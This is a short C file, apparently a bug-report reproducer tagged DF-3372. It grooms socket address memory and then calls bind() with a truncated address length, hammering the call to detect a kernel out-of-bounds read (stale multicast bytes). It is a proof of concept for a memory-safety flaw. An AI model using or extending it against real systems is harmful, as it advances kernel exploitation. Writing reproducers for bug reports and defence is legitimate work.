DF-3372 / probe_hammer.c
#include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <errno.h> static void groom(int n, unsigned char a){ unsigned char g[8]; int i, u; g[0]=8; g[1]=AF_INET; g[2]=0x11; g[3]=0x22; g[4]=a; g[5]=2; g[6]=3; g[7]=4; for(i=0;i<n;i++){ u=socket(AF_INET,SOCK_DGRAM,0); bind(u,(struct sockaddr*)g,8); close(u);} } int main(void){ unsigned char sa[8]; long i, flips=0, tot=0; int s, r; memset(sa,0,sizeof sa); sa[0]=2; sa[1]=AF_INET; for(i=0;i<200000;i++){ groom(4,224); s=socket(AF_INET,SOCK_STREAM,0); r=bind(s,(struct sockaddr*)sa,2); close(s); tot++; if (r==0 || errno==47) { flips++; printf("iter %ld: errno=%d (%s) <<== OOB bytes read as multicast\n", i, errno, r==0?"OK":strerror(errno)); if (flips>=5) break; } } printf("total=%ld EAFNOSUPPORT-flips=%ld\n", tot, flips); return 0;} |